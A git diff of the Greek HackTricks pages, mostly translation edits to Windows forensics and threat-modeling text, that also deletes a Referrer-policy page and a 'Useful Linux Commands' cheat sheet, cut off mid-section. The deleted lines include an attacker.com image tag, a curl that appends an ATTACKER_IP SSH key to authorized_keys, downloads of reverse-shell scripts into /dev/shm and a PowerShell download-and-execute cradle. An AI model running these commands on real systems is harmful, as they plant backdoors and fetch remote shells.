Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων.
Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. Το **Bulk_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων.
### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows

View File

@ -1,7 +1,5 @@
# Ενδιαφέροντα Κλειδιά Μητρώου Windows
### Ενδιαφέροντα Κλειδιά Μητρώου Windows
{{#include ../../../banners/hacktricks-training.md}}
### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows**
@ -10,7 +8,7 @@
### **Όνομα Υπολογιστή**
- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**.
- Το όνομα του υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**.
### **Ρύθμιση Ζώνης Ώρας**
@ -25,17 +23,17 @@
- Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες.
### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης
### Ενεργοποίηση Χρόνου Πρόσβασης
- Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος.
### Λεπτομέρειες Πληροφοριών Δικτύου
- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων.
- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των αδειών.
### Client Side Caching (CSC)
- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα.
- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διάφορες ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα.
### Προγράμματα AutoStart
@ -49,9 +47,9 @@
- Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης.
### Αριθμός Σειράς Τόμου
### Αριθμός Σειράς Όγκου
- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμος σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές.
- Ο **Αριθμός Σειράς Όγκου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμο σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές.
### **Λεπτομέρειες Τερματισμού**
@ -80,7 +78,7 @@
### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία**
- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`.
- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορους υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`.
### **Παρακολούθηση Δραστηριότητας Χρήστη**
@ -94,7 +92,7 @@
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης.
- Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής.
- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα.
- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειριακής της μπορεί να ανιχνευθεί μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα.
Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα.

View File

@ -1,40 +1,42 @@
# Threat Modeling
{{#include /banners/hacktricks-training.md}}
## Threat Modeling
Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγικά σχεδιάζουμε ενάντια σε πιθανές ευπάθειες σε ένα σύστημα. Αυτό το νήμα χρησιμεύει ως οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμα λογισμικά και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες της κυβερνοασφάλειάς τους.
Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγικά σχεδιάζουμε ενάντια σε πιθανές ευπάθειες ενός συστήματος. Αυτό το νήμα χρησιμεύει ως ένας οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμο λογισμικό και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες της κυβερνοασφάλειάς τους.
### Commonly Used Scenarios
1. **Software Development**: Ως μέρος του Secure Software Development Life Cycle (SSDLC), το threat modeling βοηθά στην **ταυτοποίηση πιθανών πηγών ευπαθειών** στα πρώτα στάδια της ανάπτυξης.
2. **Penetration Testing**: Το Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής.
1. **Software Development**: Ως μέρος του Secure Software Development Life Cycle (SSDLC), το threat modeling βοηθά στην **εντοπισμό πιθανών πηγών ευπαθειών** στα πρώτα στάδια της ανάπτυξης.
2. **Penetration Testing**: Το πλαίσιο Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής.
### Threat Model in a Nutshell
Ένα Threat Model συνήθως απεικονίζεται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητα με ένα **διάγραμμα ροής δεδομένων**, αλλά η βασική διάκριση έγκειται στον σχεδιασμό του που επικεντρώνεται στην ασφάλεια.
Ένα Threat Model συνήθως αναπαρίσταται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητες με ένα **διάγραμμα ροής δεδομένων**, αλλά η κύρια διάκριση έγκειται στο σχεδιασμό του που είναι προσανατολισμένος στην ασφάλεια.
Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία ταυτοποίησης κινδύνων, χρησιμοποιείται η τριάδα CIA (Confidentiality, Integrity, Availability), που αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις.
Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία εντοπισμού κινδύνων, χρησιμοποιείται το τρίγωνο CIA (Confidentiality, Integrity, Availability), το οποίο αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις.
### The CIA Triad
Η τριάδα CIA είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling.
Το CIA Triad είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling.
1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν αποκτώνται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων.
1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν προσβάλλονται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων.
2. **Integrity**: Η ακρίβεια, η συνέπεια και η αξιοπιστία των δεδομένων κατά τη διάρκεια του κύκλου ζωής τους. Αυτή η αρχή διασφαλίζει ότι τα δεδομένα δεν τροποποιούνται ή παραποιούνται από μη εξουσιοδοτημένα μέρη. Συχνά περιλαμβάνει checksums, hashing και άλλες μεθόδους επαλήθευσης δεδομένων.
3. **Availability**: Αυτό διασφαλίζει ότι τα δεδομένα και οι υπηρεσίες είναι προσβάσιμα σε εξουσιοδοτημένους χρήστες όταν χρειάζεται. Αυτό συχνά περιλαμβάνει πλεονασμό, ανθεκτικότητα σε σφάλματα και ρυθμίσεις υψηλής διαθεσιμότητας για να διατηρούνται τα συστήματα σε λειτουργία ακόμη και μπροστά σε διαταραχές.
3. **Availability**: Αυτό διασφαλίζει ότι τα δεδομένα και οι υπηρεσίες είναι προσβάσιμα σε εξουσιοδοτημένους χρήστες όταν χρειάζεται. Αυτό συχνά περιλαμβάνει πλεονασμό, αντοχή σε σφάλματα και ρυθμίσεις υψηλής διαθεσιμότητας για να διατηρούνται τα συστήματα σε λειτουργία ακόμη και μπροστά σε διαταραχές.
### Threat Modeling Methodlogies
1. **STRIDE**: Αναπτυγμένο από τη Microsoft, το STRIDE είναι ένα ακρωνύμιο για **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Κάθε κατηγορία αντιπροσωπεύει έναν τύπο απειλής, και αυτή η μεθοδολογία χρησιμοποιείται συνήθως στη φάση σχεδίασης ενός προγράμματος ή συστήματος για την ταυτοποίηση πιθανών απειλών.
2. **DREAD**: Αυτή είναι μια άλλη μεθοδολογία από τη Microsoft που χρησιμοποιείται για την αξιολόγηση κινδύνου των ταυτοποιημένων απειλών. Το DREAD σημαίνει **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Κάθε ένας από αυτούς τους παράγοντες βαθμολογείται, και το αποτέλεσμα χρησιμοποιείται για την προτεραιοποίηση των ταυτοποιημένων απειλών.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την ταυτοποίηση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογών, την ανάλυση απειλών, την ανάλυση ευπαθειών και την αξιολόγηση κινδύνου/triage.
4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια **οπτική διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο.
1. **STRIDE**: Αναπτυγμένο από τη Microsoft, το STRIDE είναι ένα ακρωνύμιο για **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Κάθε κατηγορία αντιπροσωπεύει έναν τύπο απειλής, και αυτή η μεθοδολογία χρησιμοποιείται συνήθως στη φάση σχεδιασμού ενός προγράμματος ή συστήματος για την αναγνώριση πιθανών απειλών.
2. **DREAD**: Αυτή είναι μια άλλη μεθοδολογία από τη Microsoft που χρησιμοποιείται για την εκτίμηση κινδύνου των αναγνωρισμένων απειλών. Το DREAD σημαίνει **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Κάθε ένας από αυτούς τους παράγοντες βαθμολογείται, και το αποτέλεσμα χρησιμοποιείται για την προτεραιοποίηση των αναγνωρισμένων απειλών.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την αναγνώριση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογών, την ανάλυση απειλών, την ανάλυση ευπαθειών και την εκτίμηση κινδύνου/τριγιάζ.
4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια προοπτική **διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο.
5. **VAST** (Visual, Agile, and Simple Threat modeling): Αυτή η προσέγγιση στοχεύει να είναι πιο προσβάσιμη και ενσωματώνεται σε περιβάλλοντα Agile ανάπτυξης. Συνδυάζει στοιχεία από τις άλλες μεθοδολογίες και επικεντρώνεται σε **οπτικές αναπαραστάσεις απειλών**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **αξιολόγηση οργανωτικού κινδύνου παρά συγκεκριμένων συστημάτων ή λογισμικού**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **εκτίμηση οργανωτικού κινδύνου παρά συγκεκριμένων συστημάτων ή λογισμικού**.
## Tools
Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμα που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε.
Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμες που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
@ -42,70 +44,73 @@
**Usage**
1. Pick a URL and Crawl
1. Επιλέξτε μια διεύθυνση URL και Craw
<figure><img src="../images/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
2. View Graph
2. Δείτε το Γράφημα
<figure><img src="../images/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
Ένα ανοιχτού κώδικα έργο από το OWASP, το Threat Dragon είναι τόσο μια διαδικτυακή όσο και μια επιτραπέζια εφαρμογή που περιλαμβάνει διαγράμματα συστημάτων καθώς και μια μηχανή κανόνων για αυτόματη δημιουργία απειλών/μετριασμών.
Ένα έργο ανοιχτού κώδικα από το OWASP, το Threat Dragon είναι τόσο μια διαδικτυακή όσο και μια επιτραπέζια εφαρμογή που περιλαμβάνει διάγραμμα συστήματος καθώς και μια μηχανή κανόνων για αυτόματη δημιουργία απειλών/μετριασμών.
**Usage**
1. Create New Project
1. Δημιουργία Νέου Έργου
<figure><img src="../images/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
Sometimes it could look like this:
Μερικές φορές μπορεί να φαίνεται έτσι:
<figure><img src="../images/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
2. Launch New Project
2. Εκκίνηση Νέου Έργου
<figure><img src="../images/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
3. Save The New Project
3. Αποθήκευση του Νέου Έργου
<figure><img src="../images/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
4. Create your model
4. Δημιουργήστε το μοντέλο σας
You can use tools like SpiderSuite Crawler to give you inspiration, a basic model would look something like this
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το SpiderSuite Crawler για να σας δώσουν έμπνευση, ένα βασικό μοντέλο θα έμοιαζε κάπως έτσι
<figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Just a little bit of explanation about the entities:
Μια μικρή εξήγηση για τις οντότητες:
- Process (The entity itself such as Webserver or web functionality)
- Actor (A Person such as a Website Visitor, User or Administrator)
- Data Flow Line (Indicator of Interaction)
- Trust Boundary (Different network segments or scopes.)
- Store (Things where data are stored at such as Databases)
- Process (Η οντότητα αυτή καθαυτή όπως Webserver ή web functionality)
- Actor (Ένα άτομο όπως ένας επισκέπτης ιστοσελίδας, χρήστης ή διαχειριστής)
- Data Flow Line (Δείκτης αλληλεπίδρασης)
- Trust Boundary (Διαφορετικά τμήματα ή πεδία δικτύου.)
- Store (Πράγματα όπου αποθηκεύονται τα δεδομένα όπως βάσεις δεδομένων)
5. Create a Threat (Step 1)
5. Δημιουργία μιας Απειλής (Βήμα 1)
First you have to pick the layer you wish to add a threat to
Πρώτα πρέπει να επιλέξετε το επίπεδο στο οποίο θέλετε να προσθέσετε μια απειλή
<figure><img src="../images/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
Now you can create the threat
Τώρα μπορείτε να δημιουργήσετε την απειλή
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Keep in mind that there is a difference between Actor Threats and Process Threats. If you would add a threat to an Actor then you will only be able to choose "Spoofing" and "Repudiation. However in our example we add threat to a Process entity so we will see this in the threat creation box:
Λάβετε υπόψη ότι υπάρχει διαφορά μεταξύ των Απειλών Ηθοποιών και των Απειλών Διαδικασίας. Εάν προσθέσετε μια απειλή σε έναν Ηθοποιό, τότε θα μπορείτε να επιλέξετε μόνο "Spoofing" και "Repudiation". Ωστόσο, στο παράδειγμά μας προσθέτουμε απειλή σε μια οντότητα Διαδικασίας, οπότε θα δούμε αυτό στο πλαίσιο δημιουργίας απειλής:
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Done
6. Έγινε
Now your finished model should look something like this. And this is how you make a simple threat model with OWASP Threat Dragon.
Τώρα το ολοκληρωμένο μοντέλο σας θα πρέπει να μοιάζει κάπως έτσι. Και έτσι δημιουργείτε ένα απλό threat model με το OWASP Threat Dragon.
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην εύρεση απειλών στη φάση σχεδίασης των έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft.
Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην αναγνώριση απειλών στη φάση σχεδιασμού έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft.
{{#include /banners/hacktricks-training.md}}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 16 KiB

View File

@ -1,35 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Referrer headers and policy
Referrer είναι η κεφαλίδα που χρησιμοποιούν οι φυλλομετρητές για να υποδείξουν ποια ήταν η προηγούμενη σελίδα που επισκέφτηκε ο χρήστης.
## Ευαίσθητες πληροφορίες που διαρρέουν
Αν σε κάποιο σημείο μέσα σε μια ιστοσελίδα οποιαδήποτε ευαίσθητη πληροφορία βρίσκεται σε παραμέτρους GET αιτήματος, αν η σελίδα περιέχει συνδέσμους σε εξωτερικές πηγές ή αν ένας επιτιθέμενος είναι σε θέση να κάνει/προτείνει (κοινωνική μηχανική) στον χρήστη να επισκεφθεί μια διεύθυνση URL που ελέγχεται από τον επιτιθέμενο. Θα μπορούσε να είναι σε θέση να εξάγει τις ευαίσθητες πληροφορίες μέσα στο τελευταίο GET αίτημα.
## Mitigation
Μπορείτε να κάνετε τον φυλλομετρητή να ακολουθεί μια **Referrer-policy** που θα μπορούσε να **αποφύγει** την αποστολή ευαίσθητων πληροφοριών σε άλλες διαδικτυακές εφαρμογές:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Counter-Mitigation
Μπορείτε να παρακάμψετε αυτόν τον κανόνα χρησιμοποιώντας μια ετικέτα HTML meta (ο επιτιθέμενος χρειάζεται να εκμεταλλευτεί και μια ένεση HTML):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Άμυνα
Ποτέ μην τοποθετείτε ευαίσθητα δεδομένα μέσα σε παραμέτρους GET ή διαδρομές στη διεύθυνση URL.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,297 +0,0 @@
# Χρήσιμες Εντολές Linux
{{#include ../../banners/hacktricks-training.md}}
## Κοινές Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
## Bash για Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
